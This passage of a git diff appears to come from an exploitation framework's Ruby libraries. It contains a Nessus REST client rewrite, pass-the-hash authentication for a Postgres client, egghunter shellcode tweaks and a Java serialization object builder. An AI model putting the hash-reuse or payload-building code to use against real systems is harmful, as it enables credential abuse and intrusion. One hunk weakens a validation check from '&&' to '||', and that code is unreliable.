scan_stop(uuid) - } - return b - end - - # pause scan identified by scan_uuid - def scan_pause(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/pause', post) - if docxml.nil? - return - end - return docxml - end - - # pause all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_pause_all - # end - def scan_pause_all - b=scan_list_uids - b.each {|uuid| - scan_pause(uuid) - } - return b - end - - # remove scan identified by uuid - def scan_resume(uuid) - post= { "token" => @token, "scan_uuid" => uuid } - docxml = nil - docxml=nessus_request('scan/resume', post) - if docxml.nil? - return - end - return docxml - end - # resume all active scans - # - # Usage: - # - # n=NessusXMLRPC::NessusXMLRPC.new('https://localhost:8834','user','pass'); - # if n.logged_in - # n.scan_resume_all - # end - def scan_resume_all - b=scan_list_uids - b.each {|uuid| - scan_resume(uuid) - } - return b - end - - # check status of scan identified by uuid - def scan_status(uuid) - post= { "token" => @token, "report" => uuid } - docxml = nil - docxml=nessus_request('report/list', post) - if docxml.nil? - return - end - docxml.root.elements['contents'].elements['reports'].each_element('//report') { |report| - if report.elements['name'].text == uuid - return (report.elements['status'].text) - end - } - return '' - end - - # check if scan is finished (completed to be exact) identified by uuid - def scan_finished(uuid) - status=scan_status(uuid) - if status == "completed" + res = http_get(:uri=>"/session", :fields=>x_cookie) + if res['permissions'] == 128 return true else return false end end - - # get report by reportID and return XML file - # - # returns: XML file of report (nessus v2 format) - def report_file_download(report) - post= { "token" => @token, "report" => report } - file = nil - file=nessus_http_request('file/report/download', post) - if file.nil? - return - end - return file + + def server_properties + http_get(:uri=>"/server/properties", :fields=>x_cookie) end - # get report by reportID and return XML file (version 1) - # - # returns: XML file of report (nessus v1 format) - def report_file1_download(report) - post= { "token" => @token, "report" => report, "v1" => "true" } - - file=nessus_http_request('file/report/download', post) - - return file - end - - # delete report by report ID - def report_delete(id) - post= { "token" => @token, "report" => id } - docxml = nil - docxml=nessus_request('report/delete', post) - if docxml.nil? - return - end - return docxml + def scan_create(uuid, name, description, targets) + payload = { + :uuid => uuid, + :settings => { + :name => name, + :description => description, + :text_targets => targets + }, + :json => 1 + }.to_json + http_post(:uri=>"/scans", :body=>payload, :fields=>x_cookie, :ctype=>'application/json') end - # get list of names of policies - # - # returns: array of names - def policy_list_names - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - list = Array.new - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - list.push policy.elements['policyName'].text - } - return list + def scan_launch(scan_id) + http_post(:uri=>"/scans/#{scan_id}/launch", :fields=>x_cookie) end - # get data for each host for a particular report - # - # - # returns: array of hashes: - # hostname - # severity - # severityCount0 - # severityCount1 - # severityCount2 - # severityCount3 - # scanProgressCurrent - # scanprogressTotal - def report_hosts(report_id) - post= { "token" => @token, "report" => report_id } - docxml = nil - docxml=nessus_request('report/hosts', post) - if docxml.nil? - return - end - hosts=Array.new - docxml.elements.each('/reply/contents/hostList/host') do |host| - entry=Hash.new - entry['hostname'] = host.elements['hostname'].text if host.elements['hostname'] - entry['severity'] = host.elements['severity'].text if host.elements['severity'] - sevs=Array.new - host.elements.each('severityCount/item') do |item| - sevs.push item.elements['count'].text if item.elements['count'] - end - entry['sev0'] = sevs[0] if sevs[0] - entry['sev1'] = sevs[1] if sevs[1] - entry['sev2'] = sevs[2] if sevs[2] - entry['sev3'] = sevs[3] if sevs[3] - entry['current'] = host.elements['scanProgressCurrent'].text if host.elements['scanProgressCurrent'] - entry['total'] = host.elements['scanProgressTotal'].text if host.elements['scanProgressTotal'] - hosts.push(entry) - end - return hosts - end - - def report_host_ports(report_id,host) - post= { "token" => @token, "report" => report_id, "hostname" => host } - docxml = nil - docxml=nessus_request('report/ports', post) - if docxml.nil? - return - end - ports=Array.new - docxml.elements.each('/reply/contents/portList/port') do |port| - entry=Hash.new - entry['portnum'] = port.elements['portNum'].text if port.elements['portNum'] - entry['protocol'] = port.elements['protocol'].text if port.elements['protocol'] - entry['severity'] = port.elements['severity'].text if port.elements['severity'] - entry['svcname'] = port.elements['svcName'].text if port.elements['svcName'] - sevs=Array.new - port.elements.each('severityCount/item') do |item| - sevs.push item.elements['count'].text if item.elements['count'] - end - entry['sev0'] = sevs[0] if sevs[0] - entry['sev1'] = sevs[1] if sevs[1] - entry['sev2'] = sevs[2] if sevs[2] - entry['sev3'] = sevs[3] if sevs[3] - ports.push(entry) - end - return ports - end - - def report_host_port_details(report_id,host,port,protocol) - post= { "token" => @token, "report" => report_id, "hostname" => host, "port" => port, "protocol" => protocol } - docxml = nil - docxml=nessus_request('report/details', post) - if docxml.nil? - return - end - reportitems=Array.new - docxml.elements.each('/reply/contents/portDetails/ReportItem') do |rpt| - entry=Hash.new - cve = Array.new - bid = Array.new - entry['port'] = rpt.elements['port'].text if rpt.elements['port'] - entry['severity'] = rpt.elements['severity'].text if rpt.elements['severity'] - entry['pluginID'] = rpt.elements['pluginID'].text if rpt.elements['pluginID'] - entry['pluginName'] = rpt.elements['pluginName'].text if rpt.elements['pluginName'] - entry['cvss_base_score'] = rpt.elements['data'].elements['cvss_base_score'].text if rpt.elements['data'].elements['cvss_base_score'] - entry['exploit_available'] = rpt.elements['data'].elements['exploit_available'].text if rpt.elements['data'].elements['exploit_available'] - if rpt.elements['data'].elements['cve'] - rpt.elements['data'].elements['cve'].each do |x| - cve.push rpt.elements['data'].elements['cve'].text - end - end - entry['cve'] = cve if cve - entry['risk_factor'] = rpt.elements['data'].elements['risk_factor'].text if rpt.elements['data'].elements['risk_factor'] - entry['cvss_vector'] = rpt.elements['data'].elements['cvss_vector'].text if rpt.elements['data'].elements['cvss_vector'] - entry['solution'] = rpt.elements['data'].elements['solution'].text if rpt.elements['data'].elements['solution'] - entry['description'] = rpt.elements['data'].elements['description'].text if rpt.elements['data'].elements['description'] - entry['synopsis'] = rpt.elements['data'].elements['synopsis'].text if rpt.elements['data'].elements['synopsis'] - entry['see_also'] = rpt.elements['data'].elements['see_also'].text if rpt.elements['data'].elements['see_also'] - if rpt.elements['data'].elements['bid'] - rpt.elements['data'].elements['bid'].each do |y| - bid.push rpt.elements['data'].elements['bid'].text - end - end - entry['bid'] = bid if bid - #entry['xref'] = rpt.elements['data'].elements['xref'].text # multiple of these - entry['plugin_output'] = rpt.elements['data'].elements['plugin_output'].text if rpt.elements['data'].elements['plugin_output'] - reportitems.push(entry) - end - return reportitems + def server_status + http_get(:uri=>"/server/status", :fields=>x_cookie) end - # get host details for particular host identified by report id - # - # returns: severity, current, total - def report_get_host(report_id,hostname) - post= { "token" => @token, "report" => report_id } - docxml = nil - docxml=nessus_request('report/hosts', post) - if docxml.nil? - return - end - docxml.elements.each('/reply/contents/hostList/host') do |host| - if host.elements['hostname'].text == hostname - severity = host.elements['severity'].text - current = host.elements['scanProgressCurrent'].text - total = host.elements['scanProgressTotal'].text - return severity, current, total - end - end + def scan_list + http_get(:uri=>"/scans", :fields=>x_cookie) end - - # gets a list of each plugin family and the number of plugins for that family. - def plugins_list - post= { "token" => @token } - docxml = nil - docxml=nessus_request('plugins/list', post) - if docxml.nil? - return - end - plugins=Array.new - docxml.root.elements['contents'].elements['pluginFamilyList'].each_element('//family') { |plugin| - entry=Hash.new - entry['name']=plugin.elements['familyName'].text - entry['num']=plugin.elements['numFamilyMembers'].text - plugins.push(entry) - } - return plugins - end - - #returns a list of users, if they are an admin and their last login time. - def users_list - post= { "token" => @token } - docxml = nil - docxml=nessus_request('users/list', post) - if docxml.nil? - return - end - users=Array.new - docxml.root.elements['contents'].elements['users'].each_element('//user') { |user| - entry=Hash.new - entry['name']=user.elements['name'].text - entry['admin']=user.elements['admin'].text - entry['lastlogin']=user.elements['lastlogin'].text - users.push(entry) - } - return users - end - - # returns basic data about the feed type and versions. - def feed - post = { "token" => @token } - docxml = nil - docxml = nessus_request('feed', post) - if docxml.nil? - return - end - feed = docxml.root.elements['contents'].elements['feed'].text - version = docxml.root.elements['contents'].elements['server_version'].text - web_version = docxml.root.elements['contents'].elements['web_server_version'].text - return feed, version, web_version - end - - def user_add(user,pass) - post= { "token" => @token, "login" => user, "password" => pass } - docxml = nil - docxml = nessus_request('users/add', post) - if docxml.nil? - return - end - return docxml - end - - def user_del(user) - post= { "token" => @token, "login" => user } - docxml = nil - docxml = nessus_request('users/delete', post) - if docxml.nil? - return - end - return docxml - end - - def user_pass(user,pass) - post= { "token" => @token, "login" => user, "password" => pass } - docxml = nil - docxml = nessus_request('users/chpasswd', post) - if docxml.nil? - return - end - return docxml - end - - def plugin_family(fam) - post = { "token" => @token, "family" => fam } - docxml = nil - docxml = nessus_request('plugins/list/family', post) - if docxml.nil? - return - end - family=Array.new - docxml.elements.each('/reply/contents/pluginList/plugin') { |plugin| - entry=Hash.new - entry['filename'] = plugin.elements['pluginFileName'].text if plugin.elements['pluginFileName'] - entry['id'] = plugin.elements['pluginID'].text if plugin.elements['pluginID'] - entry['name'] = plugin.elements['pluginName'].text if plugin.elements['pluginName'] - family.push(entry) - } - return family - end - - def policy_del(pid) - post= { "token" => @token, "policy_id" => pid } - docxml = nil - docxml = nessus_request('policy/delete', post) - if docxml.nil? - return - end - return docxml - end - - def report_del(rid) - post= { "token" => @token, "report" => rid } - docxml = nil - docxml = nessus_request('report/delete', post) - if docxml.nil? - return - end - return docxml - end - - def plugin_detail(pname) - post = { "token" => @token, "fname" => pname } - docxml = nil - docxml = nessus_request('plugins/description', post) - if docxml.nil? - return - end - entry=Hash.new - docxml.elements.each('reply/contents/pluginDescription') { |desc| - entry['name'] = desc.elements['pluginName'].text - entry['id'] = desc.elements['pluginID'].text - entry['family'] = desc.elements['pluginFamily'].text - desc.elements.each('pluginAttributes') { |attr| - entry['exploit_ease'] = attr.elements['exploitability_ease'].text if attr.elements['exploitability_ease'] - entry['cvss_temporal_vector'] = attr.elements['cvss_temporal_vector'].text if attr.elements['cvss_temporal_vector'] - entry['solution'] = attr.elements['solution'].text if attr.elements['solution'] - entry['cvss_temporal_score'] = attr.elements['cvss_temporal_score'].text if attr.elements['cvss_temporal_score'] - entry['risk_factor'] = attr.elements['risk_factor'].text if attr.elements['risk_factor'] - entry['description'] = attr.elements['description'].text if attr.elements['description'] - entry['plugin_publication_date'] = attr.elements['plugin_publication_date'].text if attr.elements['plugin_publication_date'] - entry['cvss_vector'] = attr.elements['cvss_vector'].text if attr.elements['cvss_vector'] - entry['synopsis'] = attr.elements['synopsis'].text if attr.elements['synopsis'] - entry['exploit_available'] = attr.elements['exploit_available'].text if attr.elements['exploit_available'] - entry['plugin_modification_date'] = attr.elements['plugin_modification_date'].text if attr.elements['plugin_modification_date'] - entry['cvss_base_score'] = attr.elements['cvss_base_score'].text if attr.elements['cvss_base_score'] - } - } - return entry - end - - def server_prefs - post= { "token" => @token } - docxml = nil - docxml = nessus_request('preferences/list', post) - if docxml.nil? - return - end - prefs = Array.new - docxml.elements.each('/reply/contents/ServerPreferences/preference') { |pref| - entry=Hash.new - entry['name'] = pref.elements['name'].text if pref.elements['name'] - entry['value']= pref.elements['value'].text if pref.elements['value'] - prefs.push(entry) - } - return prefs - end - - def plugin_prefs - post= { "token" => @token } - docxml = nil - docxml = nessus_request('plugins/preferences', post) - if docxml.nil? - return - end - prefs = Array.new - docxml.elements.each('/reply/contents/PluginsPreferences/item') { |pref| - entry=Hash.new - entry['fullname'] = pref.elements['fullName'].text if pref.elements['fullName'] - entry['pluginname'] = pref.elements['pluginName'].text if pref.elements['pluginName'] - entry['prefname'] = pref.elements['preferenceName'].text if pref.elements['preferenceName'] - entry['preftype'] = pref.elements['preferenceType'].text if pref.elements['preferenceType'] - entry['prefvalues'] = pref.elements['preferenceValues'].text if pref.elements['preferenceValues'] - prefs.push(entry) - } - return prefs - end - end # end of NessusXMLRPC::Class -end # of Module + def scan_details(scan_id) + http_get(:uri=>"/scans/#{scan_id}", :fields=>x_cookie) + end + def scan_pause(scan_id) + http_post(:uri=>"/scans/#{scan_id}/pause", :fields=>x_cookie) + end + + def scan_resume(scan_id) + http_post(:uri=>"/scans/#{scan_id}/resume", :fields=>x_cookie) + end + + def scan_stop(scan_id) + http_post(:uri=>"/scans/#{scan_id}/stop", :fields=>x_cookie) + end + + def scan_export(scan_id, format) + payload = { + :format => format + }.to_json + http_post(:uri=>"/scans/#{scan_id}/export", :body=>payload, :ctype=>'application/json', :fields=>x_cookie) + end + + def scan_export_status(scan_id, file_id) + request = Net::HTTP::Get.new("/scans/#{scan_id}/export/#{file_id}/status") + request.add_field("X-Cookie", @token) + res = @connection.request(request) + if res.code == "200" + return "ready" + else + res = JSON.parse(res.body) + return res + end + end + + def policy_delete(policy_id) + res = http_delete(:uri=>"/policies/#{policy_id}", :fields=>x_cookie) + return res.code + end + + def host_detail(scan_id, host_id) + res = http_get(:uri=>"/scans/#{scan_id}/hosts/#{host_id}", :fields=>x_cookie) + end + + def report_download(scan_id, file_id) + res = http_get(:uri=>"/scans/#{scan_id}/export/#{file_id}/download", :raw_content=> true, :fields=>x_cookie) + end + + private + + def http_put(opts={}) + uri = opts[:uri] + data = opts[:data] + fields = opts[:fields] || {} + res = nil + + req = Net::HTTP::Put.new(uri) + req.set_form_data(data) unless data.blank? + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return res + end + + res + end + + def http_delete(opts={}) + uri = opts[:uri] + fields = opts[:fields] || {} + res = nil + + req = Net::HTTP::Delete.new(uri) + + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return res + end + + res + end + + def http_get(opts={}) + uri = opts[:uri] + fields = opts[:fields] || {} + raw_content = opts[:raw_content] || false + json = {} + + req = Net::HTTP::Get.new(uri) + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return json + end + if !raw_content + parse_json(res.body) + else + res.body + end + end + + def http_post(opts={}) + uri = opts[:uri] + data = opts[:data] + fields = opts[:fields] || {} + body = opts[:body] + ctype = opts[:ctype] + json = {} + + req = Net::HTTP::Post.new(uri) + req.set_form_data(data) unless data.blank? + req.body = body unless body.blank? + req['Content-Type'] = ctype unless ctype.blank? + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return json + end + + parse_json(res.body) + end + + def parse_json(body) + buf = {} + + begin + buf = JSON.parse(body) + rescue JSON::ParserError + end + + buf + end + + end +end diff --git a/lib/postgres/postgres-pr/connection.rb b/lib/postgres/postgres-pr/connection.rb index c18b0caff9..0c30f82ff8 100644 --- a/lib/postgres/postgres-pr/connection.rb +++ b/lib/postgres/postgres-pr/connection.rb @@ -19,6 +19,9 @@ module PostgresPR PROTO_VERSION = 3 << 16 #196608 +class AuthenticationMethodMismatch < StandardError +end + class Connection # Allow easy access to these instance variables @@ -58,7 +61,10 @@ class Connection @transaction_status = nil @params = {} establish_connection(uri) - + + # Check if the password supplied is a Postgres-style md5 hash + md5_hash_match = password.match(/^md5([a-f0-9]{32})$/) + @conn << StartupMessage.new(PROTO_VERSION, 'user' => user, 'database' => database).dump loop do @@ -67,19 +73,24 @@ class Connection case msg when AuthentificationClearTextPassword raise ArgumentError, "no password specified" if password.nil? + raise AuthenticationMethodMismatch, "Server expected clear text password auth" if md5_hash_match @conn << PasswordMessage.new(password).dump - when AuthentificationCryptPassword raise ArgumentError, "no password specified" if password.nil? + raise AuthenticationMethodMismatch, "Server expected crypt password auth" if md5_hash_match @conn << PasswordMessage.new(password.crypt(msg.salt)).dump - when AuthentificationMD5Password raise ArgumentError, "no password specified" if password.nil? require 'digest/md5' - m = Digest::MD5.hexdigest(password + user) + if md5_hash_match + m = md5_hash_match[1] + else + m = Digest::MD5.hexdigest(password + user) + end m = Digest::MD5.hexdigest(m + msg.salt) m = 'md5' + m + @conn << PasswordMessage.new(m).dump when AuthentificationKerberosV4, AuthentificationKerberosV5, AuthentificationSCMCredential diff --git a/lib/rapid7/nexpose.rb b/lib/rapid7/nexpose.rb index 0b862f8e61..710e364332 100644 --- a/lib/rapid7/nexpose.rb +++ b/lib/rapid7/nexpose.rb @@ -1291,7 +1291,7 @@ class Site xml << ' <ScanTriggers>' @site_config.scanConfig.scanTriggers.each do |s| - if (s.class.to_s == "Nexpose::AutoUpdate") + if s.kind_of?(Nexpose::AutoUpdate) xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>' end end diff --git a/lib/rex/elfparsey/exceptions.rb b/lib/rex/elfparsey/exceptions.rb index 968ddb6c4a..9f0ea0ed03 100644 --- a/lib/rex/elfparsey/exceptions.rb +++ b/lib/rex/elfparsey/exceptions.rb @@ -18,7 +18,7 @@ end class BoundsError < ElfError end -class WtfError < ElfError +class ElfParseyError < ElfError end end diff --git a/lib/rex/elfscan/scanner.rb b/lib/rex/elfscan/scanner.rb index 1bd5427bff..989418d8af 100644 --- a/lib/rex/elfscan/scanner.rb +++ b/lib/rex/elfscan/scanner.rb @@ -94,7 +94,7 @@ class JmpRegScanner < Generic return 3 end - raise "wtf" + raise "Cannot read at offset: #{offset}" end def _parse_ret(data) @@ -136,7 +136,7 @@ class JmpRegScanner < Generic message = "push #{regname}; " + _parse_ret(elf.read(offset+2, retsize)) offset += 2 + retsize else - raise "wtf" + raise "Unexpected value at #{offset}" end else regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb index 3155db3662..beae3ab192 100644 --- a/lib/rex/exploitation/egghunter.rb +++ b/lib/rex/exploitation/egghunter.rb @@ -46,7 +46,7 @@ class Egghunter startreg = opts[:startreg] searchforward = opts[:searchforward] - raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 + raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first checksum = checksum_stub(payload, badchars, opts) @@ -65,12 +65,10 @@ class Egghunter flippage = "\n\tor dx,0xfff" edxdirection = "\n\tinc edx" - if searchforward - if searchforward.to_s.downcase == 'false' - # go backwards - flippage = "\n\txor dl,dl" - edxdirection = "\n\tdec edx" - end + if searchforward.to_s.downcase == 'false' + # go backwards + flippage = "\n\txor dl,dl" + edxdirection = "\n\tdec edx" end # other vars diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 983e8472e8..0761c15fdb 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,4 +51,5 @@ module Rex end end -require 'rex/java/serialization/model' \ No newline at end of file +require 'rex/java/serialization/model' +require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb new file mode 100644 index 0000000000..c9e69c26a5 --- /dev/null +++ b/lib/rex/java/serialization/builder.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + # This class provides a builder to help in the construction of + # Java serialized contents. + class Builder + + # Creates a Rex::Java::Serialization::Model::NewArray + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [String] :values_type + # @option opts [Array] :values + # @return [Rex::Java::Serialization::Model::NewArray] + # @see #new_class + def new_array(opts = {}) + class_desc = opts[:description] || new_class(opts) + type = opts[:values_type] || '' + values = opts[:values] || [] + + array = Rex::Java::Serialization::Model::NewArray.new + array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + array.array_description.description = class_desc + array.type = type + array.values = values + + array + end + + # Creates a Rex::Java::Serialization::Model::NewObject + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [Array] :data + # @return [Rex::Java::Serialization::Model::NewObject] + # @see #new_class + def new_object(opts = {}) + class_desc = opts[:description] || new_class(opts) + data = opts[:data] || [] + + object = Rex::Java::Serialization::Model::NewObject.new + object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + object.class_desc.description = class_desc + object.class_data = data + + object + end + + # Creates a Rex::Java::Serialization::Model::NewClassDesc + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}] + # @option opts [String] :name + # @option opts [Fixnum] :serial + # @option opts [Fixnum] :flags + # @option opts [Array] :fields + # @option opts [Array] :annotations + # @option opts [Rex::Java::Serialization::Model::Element] :super_class + # @return [Rex::Java::Serialization::Model::NewClassDesc] + def new_class(opts = {}) + class_name = opts[:name] || '' + serial_version = opts[:serial] || 0 + flags = opts[:flags] || 2 + fields = opts[:fields] || [] + annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new] + super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new + + class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) + class_desc.serial_version = serial_version + class_desc.flags = flags + class_desc.fields = [] + + fields.each do |f| + field = Rex::Java::Serialization::Model::Field.new + field.type = f[0] + field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] + class_desc.fields << field + end + + class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc.class_annotation.contents = annotations + class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + class_desc.super_class.description = super_class + + class_desc + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb index 28334b57de..f885a35ae9 100644 --- a/lib/rex/java/serialization/model.rb +++ b/lib/rex/java/serialization/model.rb @@ -1,20 +1,31 @@ # -*- coding: binary -*- -require 'rex/java/serialization/model/element' -require 'rex/java/serialization/model/null_reference' -require 'rex/java/serialization/model/reference' -require 'rex/java/serialization/model/reset' -require 'rex/java/serialization/model/utf' -require 'rex/java/serialization/model/long_utf' -require 'rex/java/serialization/model/block_data' -require 'rex/java/serialization/model/block_data_long' -require 'rex/java/serialization/model/end_block_data' -require 'rex/java/serialization/model/contents' -require 'rex/java/serialization/model/new_enum' -require 'rex/java/serialization/model/field' -require 'rex/java/serialization/model/new_array' -require 'rex/java/serialization/model/annotation' -require 'rex/java/serialization/model/class_desc' -require 'rex/java/serialization/model/new_class_desc' -require 'rex/java/serialization/model/new_object' -require 'rex/java/serialization/model/stream' \ No newline at end of file +module Rex + module Java + module Serialization + module Model + + autoload :Annotation, 'rex/java/serialization/model/annotation' + autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long' + autoload :BlockData, 'rex/java/serialization/model/block_data' + autoload :ClassDesc, 'rex/java/serialization/model/class_desc' + autoload :Contents, 'rex/java/serialization/model/contents' + autoload :Element, 'rex/java/serialization/model/element' + autoload :EndBlockData, 'rex/java/serialization/model/end_block_data' + autoload :Field, 'rex/java/serialization/model/field' + autoload :LongUtf, 'rex/java/serialization/model/long_utf' + autoload :NewArray, 'rex/java/serialization/model/new_array' + autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' + autoload :NewEnum, 'rex/java/serialization/model/new_enum' + autoload :NewObject, 'rex/java/serialization/model/new_object' + autoload :NullReference, 'rex/java/serialization/model/null_reference' + autoload :Reference, 'rex/java/serialization/model/reference' + autoload :Reset, 'rex/java/serialization/model/reset' + autoload :Stream, 'rex/java/serialization/model/stream' + autoload :Utf, 'rex/java/serialization/model/utf' + + end + end + end +end + diff --git a/lib/rex/java/serialization/model/annotation.rb b/lib/rex/java/serialization/model/annotation.rb index 67084d7bd0..d4ef420d9b 100644 --- a/lib/rex/java/serialization/model/annotation.rb +++ b/lib/rex/java/serialization/model/annotation.rb @@ -29,7 +29,7 @@ module Rex loop do content = decode_content(io, stream) self.contents << content - return self if content.class == EndBlockData + return self if content.kind_of?(EndBlockData) end self @@ -66,4 +66,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb index 2622901cbb..d84ad29a13 100644 --- a/lib/rex/java/serialization/model/field.rb +++ b/lib/rex/java/serialization/model/field.rb @@ -55,7 +55,7 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless name.class == Rex::Java::Serialization::Model::Utf + unless name.kind_of?(Rex::Java::Serialization::Model::Utf) raise ::RuntimeError, 'Failed to serialize Field' end @@ -169,4 +169,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index 7c7730c62a..c2ab0630a8 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -52,7 +52,7 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless array_description.class == ClassDesc + unless array_description.kind_of?(ClassDesc) raise ::RuntimeError, 'Failed to serialize NewArray' end @@ -103,12 +103,17 @@ module Rex raise ::RuntimeError, 'Empty NewArray description' end - unless array_description.class == ClassDesc + unless array_description.kind_of?(ClassDesc) raise ::RuntimeError, 'Unsupported NewArray description class' end desc = array_description.description + if desc.class == Reference + ref = desc.handle - BASE_WIRE_HANDLE + desc = stream.references[ref] + end + unless desc.class_name.contents[0] == '[' # Array raise ::RuntimeError, 'Unsupported NewArray description' end @@ -222,4 +227,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index e33ff5076a..c665ebb593 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -66,8 +66,8 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless class_name.class == Rex::Java::Serialization::Model::Utf && - class_annotation.class == Rex::Java::Serialization::Model::Annotation && + unless class_name.class == Rex::Java::Serialization::Model::Utf || + class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc raise ::RuntimeError, 'Filed to serialize NewClassDesc' end @@ -152,4 +152,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/java/serialization/model/new_enum.rb b/lib/rex/java/serialization/model/new_enum.rb index 150e6caaf0..c4ec80fd3a 100644 --- a/lib/rex/java/serialization/model/new_enum.rb +++ b/lib/rex/java/serialization/model/new_enum.rb @@ -41,8 +41,8 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless enum_description.class == ClassDesc && - constant_name.class == Utf + unless enum_description.kind_of?(ClassDesc) && + constant_name.kind_of?(Utf) raise ::RuntimeError, 'Failed to serialize EnumDescription' end @@ -68,7 +68,7 @@ module Rex # @raise [RuntimeError] if deserialization doesn't succed def decode_constant_name(io) content = decode_content(io, stream) - raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.class == Rex::Java::Serialization::Model::Utf + raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) content end @@ -76,4 +76,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index 572566a51c..cbd6f79761 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -32,9 +32,10 @@ module Rex self.class_desc = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? - if class_desc.description.class == NewClassDesc + case class_desc.description + when NewClassDesc self.class_data = decode_class_data(io, class_desc.description) - elsif class_desc.description.class == Reference + when Reference ref = class_desc.description.handle - BASE_WIRE_HANDLE self.class_data = decode_class_data(io, stream.references[ref]) end @@ -47,7 +48,7 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless class_desc.class == ClassDesc + unless class_desc.kind_of?(ClassDesc) raise ::RuntimeError, 'Failed to serialize NewObject' end @@ -55,7 +56,7 @@ module Rex encoded << class_desc.encode class_data.each do |value| - if value.class == Array + if value.kind_of?(Array) encoded << encode_value(value) else encoded << encode_content(value) @@ -70,15 +71,16 @@ module Rex # @return [String] def to_s str = '' - if class_desc.description.class == NewClassDesc + case class_desc.description + when NewClassDesc str << class_desc.description.class_name.to_s - elsif class_desc.description.class == Reference + when Reference str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16) end str << ' => { ' - data = class_data.collect { |data| data.to_s } - str << data.join(', ') + data_str = class_data.collect { |data| data.to_s } + str << data_str.join(', ') str << ' }' end @@ -94,7 +96,12 @@ module Rex values = [] unless my_class_desc.super_class.description.class == NullReference - values += decode_class_data(io, my_class_desc.super_class.description) + if my_class_desc.super_class.description.class == Reference + ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE + values += decode_class_data(io, stream.references[ref]) + else + values += decode_class_data(io, my_class_desc.super_class.description) + end end values += decode_class_fields(io, my_class_desc) @@ -220,4 +227,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/machparsey/exceptions.rb b/lib/rex/machparsey/exceptions.rb index b5a4d840fe..f7bbad9e41 100644 --- a/lib/rex/machparsey/exceptions.rb +++ b/lib/rex/machparsey/exceptions.rb @@ -18,9 +18,6 @@ end class BoundsError < MachError end -#class WtfError < MachError -#end - class FatError < ::RuntimeError end diff --git a/lib/rex/machscan/scanner.rb 